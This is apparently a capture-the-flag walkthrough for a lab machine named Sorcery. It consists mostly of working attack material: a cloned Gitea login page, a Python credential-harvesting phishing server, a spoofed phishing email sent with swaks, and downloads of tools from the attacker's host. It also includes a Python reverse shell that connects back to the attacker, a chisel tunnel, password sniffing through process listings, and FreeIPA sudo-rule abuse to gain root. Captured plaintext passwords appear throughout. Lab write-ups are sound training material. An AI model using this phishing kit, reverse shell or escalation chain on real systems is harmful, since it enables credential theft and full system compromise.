    <div role="main" aria-label="Sign In" class="page-content user signin">
      <div class="ui middle very relaxed page grid">
        <div class="ui container column fluid">
          <h4 class="ui top attached header center">Sign In</h4>
          <div class="ui attached segment">
            <form class="ui form" action="/user/login" method="post">
              <input
                type="hidden"
                name="_csrf"
                value="tVUz5vqZRLUZ2HBKze4YNyQYaqU6MTc1MDA1NzMyMDU1OTc0MTYyMw"
              />
              <div class="required field">
                <label for="user_name">Username or Email Address</label>
                <input id="user_name" type="text" name="user_name" required autofocus />
              </div>
              <div class="required field">
                <label for="password">Password</label>
                <input
                  id="password"
                  type="password"
                  name="password"
                  required
                  autocomplete="current-password"
                />
              </div>
              <div class="inline field">
                <div class="ui checkbox">
                  <label>Remember This Device</label>
                  <input name="remember" type="checkbox" />
                </div>
              </div>
              <div class="field">
                <button class="ui primary button" type="submit">Sign In</button>
                <a href="/user/forgot_password">Forgot password?</a>
              </div>
            </form>
          </div>
        </div>
      </div>
    </div>
 
    <footer class="page-footer" role="contentinfo">
      <a target="_blank" rel="noopener" href="https://about.gitea.com">Powered by Gitea</a>
      <span>Version: 1.22.1</span>
    </footer>
 
    <script src="/assets/js/index.js?v=1.22.1"></script>
  </body>
</html>
  • phish_server.py on local machine

phish_server.py

from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl, urllib.parse, os
 
LOGFILE = "/home/user/creds.log"
 
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()
        with open("index.html", "rb") as f:
            self.wfile.write(f.read())
 
    def do_POST(self):
        # read and parse creds
        length   = int(self.headers.get("Content-Length", 0))
        body     = self.rfile.read(length).decode()
        params   = urllib.parse.parse_qs(body)
 
        # append to disk
        os.makedirs(os.path.dirname(LOGFILE), exist_ok=True)
        with open(LOGFILE, "a") as out:
            out.write(f"{params}\n")
 
        # reply
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"Login failed")
 
if __name__ == "__main__":
    # SSL setup
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    context.load_cert_chain(
        certfile="phish.sorcery.htb.crt",
        keyfile ="phish.sorcery.htb.key"
    )
 
    # launch server
    httpd = HTTPServer(("0.0.0.0", 443), Handler)
    httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
    httpd.serve_forever()
  • We need to resolve our phishing site in the dns-hosts file, and reboot dnsmasq
  • This is the IP of docker container 7bfb70ee5b9c
user@7bfb70ee5b9c:/home/user$ echo "172.19.0.4 phish.sorcery.htb" | tee /dns/hosts-user && kill -HUP $(pidof dnsmasq) && dig +short @127.0.0.1 phish.sorcery.htb
 
172.19.0.4
  • We need to transfer chisel, index.html, and phish_server.py to docker instance (update IP)
# local
$ python3 -m http.server 7070
 
# docker
user@7bfb70ee5b9c:/home/user$ python3 -c 'import urllib.request; [urllib.request.urlretrieve(f"http://<IP>:7070/{fn}", fn) for fn in ["phish_server.py","index.html","chisel"]]'
  • I recommend spawning a couple shells just in case they hang or crash, and so we can run chisel and phish server but still interact
  • ps aux and then kill pid will fix usually
user@7bfb70ee5b9c:/home/user$ python3 -c 'import pty,socket,os; s=socket.socket(); s.connect(("<IP>",<PORT>)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/bash")' &
  • Setup chisel connection
  • IP of services-mail-1.services_default
# local
$ sudo ./chisel server --port 4444 --reverse
 
# docker
$ chmod +x chisel
$ ./chisel client 10.10.14.228:4444 R:1025:172.19.0.8:1025 R:8443:127.0.0.1:443
  • Swaks to send email
$ swaks \
  --to   tom_summers@sorcery.htb \
  --from nicole_sullivan@sorcery.htb \
  --server 127.0.0.1 \
  --port   1025 \
  --data $'Stupid Test\nPlease re-confirm your stupidity here:\n\nhttps://phish.sorcery.htb\n'
 
=== Trying 127.0.0.1:1025...
=== Connected to 127.0.0.1.
<-  220 mailhog.example ESMTP MailHog
 -> EHLO kali
<-  250-Hello kali
<-  250-PIPELINING
<-  250 AUTH PLAIN
 -> MAIL FROM:<nicole_sullivan@sorcery.htb>
<-  250 Sender nicole_sullivan@sorcery.htb ok
 -> RCPT TO:<tom_summers@sorcery.htb>
<-  250 Recipient tom_summers@sorcery.htb ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Stupid Test
 -> Please re-confirm your stupidity here:
 ->
 -> https://phish.sorcery.htb
 ->
 -> .
<-  250 Ok: queued as 8XiDh5hwM_hDAKcu76D1We2TrDQb2LI6CCxeGHSPlN8=@mailhog.example
 -> QUIT
<-  221 Bye
=== Connection closed with remote host.
  • Our server gets hits and creates log in /home/user
python3 phish_server.py
172.19.0.8 - - [17/Jun/2025 19:31:01] "GET / HTTP/1.1" 200 -
172.19.0.8 - - [17/Jun/2025 19:31:01] "GET /assets/css/index.css?v=1.22.1 HTTP/1.1" 200 -
172.19.0.8 - - [17/Jun/2025 19:31:01] "GET /assets/css/theme-gitea-auto.css?v=1.22.1 HTTP/1.1" 200 -
172.19.0.8 - - [17/Jun/2025 19:31:01] "GET /assets/js/index.js?v=1.22.1 HTTP/1.1" 200 -
172.19.0.8 - - [17/Jun/2025 19:31:01] "GET /assets/img/logo.svg HTTP/1.1" 200 -
172.19.0.8 - - [17/Jun/2025 19:31:01] "GET /assets/img/favicon.png HTTP/1.1" 200 -
172.19.0.8 - - [17/Jun/2025 19:31:01] "GET /assets/img/favicon.svg HTTP/1.1" 200 -
172.19.0.8 - - [17/Jun/2025 19:31:11] "POST /user/login HTTP/1.1" 200 -
 
user@7bfb70ee5b9c:/home/user$ cat creds.log
 
{'_csrf': ['tVUz5vqZRLUZ2HBKze4YNyQYaqU6MTc1MDA1NzMyMDU1OTc0MTYyMw'], 'user_name': ['tom_summers'], 'password': ['jNsMKQ6k2.XDMPu.']}

User Creds

tom_summers

jNsMKQ6k2.XDMPu.

  • SSH as tom
$ ssh tom_summers@sorcery.htb
 
tom_summers@main.sorcery.htb ~ ls
user.txt

Root

  • No sudo
  • Enum filesystem - XORG stands out
tom_summers@main.sorcery.htb ~ ls /
 
bin  bin.usr-is-merged	boot  cdrom  dev  etc  home  lib  lib.usr-is-merged  lib64  lost+found	media  mnt  opt  proc  provision  root	run  sbin  sbin.usr-is-merged  snap  srv  sys  tmp  usr  var  xorg
 
tom_summers@main.sorcery.htb ~ ls -la /xorg
 
total 12
drwxr-xr-x  3 root              root              4096 Apr 28 12:07 .
drwxr-xr-x 25 root              root              4096 Apr 28 12:11 ..
drwxr-xr-x  2 tom_summers_admin tom_summers_admin 4096 Jun 17 17:44 xvfb
 
tom_summers@main.sorcery.htb ~ ls -la /xorg/xvfb/
 
total 524
drwxr-xr-x 2 tom_summers_admin tom_summers_admin   4096 Jun 17 17:44 .
drwxr-xr-x 3 root              root                4096 Apr 28 12:07 ..
-rwxr--r-- 1 tom_summers_admin tom_summers_admin 527520 Jun 17 17:44 Xvfb_screen0
 
tom_summers@main.sorcery.htb ~ file /xorg/xvfb/Xvfb_screen0
 
/xorg/xvfb/Xvfb_screen0: X-Window screen dump image data, version X11, "Xvfb main.sorcery.htb:1.0", 512x256x24, 256 colors 256 entries
  • Seems we have a screenshot, so we transfer and convert to png for viewing
$ scp tom_summers@sorcery.htb:/xorg/xvfb/Xvfb_screen0 .
 
(tom_summers@sorcery.htb) Password: jNsMKQ6k2.XDMPu.
 
Xvfb_screen0  100%  515KB   1.1MB/s   00:00
 
$ xwdtopnm Xvfb_screen0 | pnmtopng > screen.png
xwdtopnm: writing PPM file
  • screen.png

Creds

tom_summers_admin

dWpuk7cesBjT-

  • SSH as this user
tom_summers_admin@main.sorcery.htb ~ sudo -l
 
Matching Defaults entries for tom_summers_admin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User tom_summers_admin may run the following commands on localhost:
    (rebecca_smith) NOPASSWD: /usr/bin/docker login
    (rebecca_smith) NOPASSWD: /usr/bin/strace -s 128 -p [0-9]*
  • Open another SSH instance to run both commands
# Instance 1
 
tom_summers_admin@main.sorcery.htb ~ sudo -u rebecca_smith docker login
 
This account might be protected by two-factor authentication
In case login fails, try logging in with <password><otp>
Authenticating with existing credentials... [Username: rebecca_smith]
 
i Info → To login with a different account, run 'docker logout' followed by 'docker login'
 
 
Login did not succeed, error: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post "http://%2Fvar%2Frun%2Fdocker.sock/v1.50/auth": dial unix /var/run/docker.sock: connect: permission denied
*snip*
 
# Instance 2
 
tom_summers_admin@main.sorcery.htb ~ ps -u rebecca_smith
 
PID TTY          TIME CMD
278441 pts/2    00:00:00 docker
 
tom_summers_admin@main.sorcery.htb ~ sudo -u rebecca_smith strace -s 128 -p 278441 bash
 
[{WIFEXITED(s) && WEXITSTATUS(s) == 0}], WSTOPPED|WCONTINUED, NULL) = 270778
rt_sigprocmask(SIG_BLOCK, [CHLD TSTP TTIN TTOU], [CHLD], 8) = 0
ioctl(255, TIOCSPGRP, [269751])         = 0
rt_sigprocmask(SIG_SETMASK, [CHLD], NULL, 8) = 0
ioctl(255, TCGETS, {c_iflag=ICRNL|IMAXBEL, c_oflag=NL0|CR0|TAB0|BS0|VT0|FF0|OPOST|ONLCR, c_cflag=B38400|CS8|CREAD, c_lflag=ISIG|ICANON|ECHO|ECHOE|ECHOK|IEXTEN|ECHOCTL|ECHOKE, ...}) = 0
ioctl(255, TIOCGWINSZ, {ws_row=57, ws_col=124, ws_xpixel=1279, ws_ypixel=1094}) = 0
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=270778, si_uid=2003, si_status=0, si_utime=0, si_stime=0} ---
wait4(-1, 0x7ffd3f0bf610, WNOHANG|WSTOPPED|WCONTINUED, NULL) = -1 ECHILD (No child processes)
*snip*
  • Now this has opened a weird shell with extremely verbose logging and is unreadable
  • Open a listener and connect with a revshell cmd (paste is easier)
python3 -c 'import pty,socket,os; s=socket.socket(); s.connect(("<IP>",<PORT>)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/bash")' &
  • Catch with listener and investigate automated processes
  • I refined the search after running pspy into this grep loop (can take a few mins for this to pop up)
rebecca_smith@main:/home/tom_summers_admin$ while true; do ps -eo user,pid,cmd --sort=start_time | grep --color=always 'userPassword='; sleep 1; done
*snip*
rebecca+  319411 grep --color=always userPassword=
admin     331042 /usr/bin/python3 -I /usr/bin/ipa user-mod ash_winter --setattr userPassword=w@LoiU8Crmdep
rebecca+  331084 grep --color=always userPassword=
rebecca+  298796 grep --color=always userPassword=
rebecca+  319411 grep --color=always userPassword=
admin     331042 /usr/bin/python3 -I /usr/bin/ipa user-mod ash_winter --setattr userPassword=w@LoiU8Crmdep
  • FreeIPA is resetting ash_winter password

Creds

ash_winter

w@LoiU8Crmdep

  • SSH as Ash will prompt for password reset
ssh ash_winter@sorcery.htb
(ash_winter@sorcery.htb) Password: w@LoiU8Crmdep
Password expired. Change your password now.
(ash_winter@sorcery.htb) Current Password: w@LoiU8Crmdep
(ash_winter@sorcery.htb) New password:
(ash_winter@sorcery.htb) Retype new password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
 
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro
 
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
 
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
 
sh: 32: /etc/profile: [[: not found
sh: 32: /etc/profile: Tue Jun 17 21:12:44 2025: not found
Last login: Tue Jun 17 21:12:44 2025 from 10.10.14.228
$ sudo -l
Matching Defaults entries for ash_winter on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty
 
User ash_winter may run the following commands on localhost:
    (root) NOPASSWD: /usr/bin/systemctl restart sssd
 
  • Ash was getting password reset by FreeIPA
  • Enum the sudo rules
$ ipa sudorule-find
 
-------------------
1 Sudo Rule matched
-------------------
  Rule name: allow_sudo
  Enabled: True
  Host category: all
  Command category: all
  RunAs User category: all
  RunAs Group category: all
----------------------------
Number of entries returned 1
----------------------------
  • Check ash details
$ ipa user-show ash_winter --all
 
  dn: uid=ash_winter,cn=users,cn=accounts,dc=sorcery,dc=htb
  User login: ash_winter
  First name: ash
  Last name: winter
  Full name: ash winter
  Display name: ash winter
  Initials: aw
  Home directory: /home/ash_winter
  GECOS: ash winter
  Login shell: /bin/sh
  Principal name: ash_winter@SORCERY.HTB
  Principal alias: ash_winter@SORCERY.HTB
  User password expiration: 20250617220807Z
  Email address: ash_winter@sorcery.htb
  UID: 1638400004
  GID: 1638400004
  Account disabled: False
  Preserved user: False
  Password: True
  Member of groups: ipausers
  Member of HBAC rule: allow_ssh, allow_sudo
  Indirect Member of role: add_sysadmin
  Kerberos keys available: True
  ipantsecurityidentifier: S-1-5-21-820725746-4072777037-1046661441-1004
  ipauniqueid: c862fa48-96eb-11ef-9f47-0242ac170002
  krblastpwdchange: 20250617220807Z
  objectclass: top, person, organizationalperson, inetorgperson, inetuser, posixaccount, krbprincipalaux,
               krbticketpolicyaux, ipaobject, ipasshuser, ipaSshGroupOfPubKeys, mepOriginEntry, ipantuserattrs
  • Indirect Member of role: add_sysadmin
  • Lets add Ash to sysadmins and enable sudo
  • sudo /usr/bin/systemctl restart sssd privs to restart System Security Services Daemon
  • use sudo su to become root
  • Commands will hang do not exit until complete
$ ipa group-add-member sysadmins --users=ash_winter
 
  Group name: sysadmins
  GID: 1638400005
  Member users: ash_winter
  Indirect Member of role: manage_sudorules_ldap
-------------------------
Number of members added 1
-------------------------
 
$ ipa sudorule-add-user allow_sudo --users=ash_winter
 
  Rule name: allow_sudo
  Enabled: True
  Host category: all
  Command category: all
  RunAs User category: all
  RunAs Group category: all
  Users: admin, ash_winter
-------------------------
Number of members added 1
-------------------------
 
$ sudo /usr/bin/systemctl restart sssd
 
[sudo] password for ash_winter:
Password expired. Change your password now.
sudo: Account or password is expired, reset your password and try again
Current Password:
New password:
Retype new password:
 
$ sudo -l
 
Matching Defaults entries for ash_winter on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty
 
User ash_winter may run the following commands on localhost:
    (root) NOPASSWD: /usr/bin/systemctl restart sssd
    (ALL : ALL) ALL

SUCCESS

  • Now sudo su - to privesc to root
$ sudo su -
 
root@main:~# id
uid=0(root) gid=0(root) groups=0(root)
 
root@main:~# ls
root.txt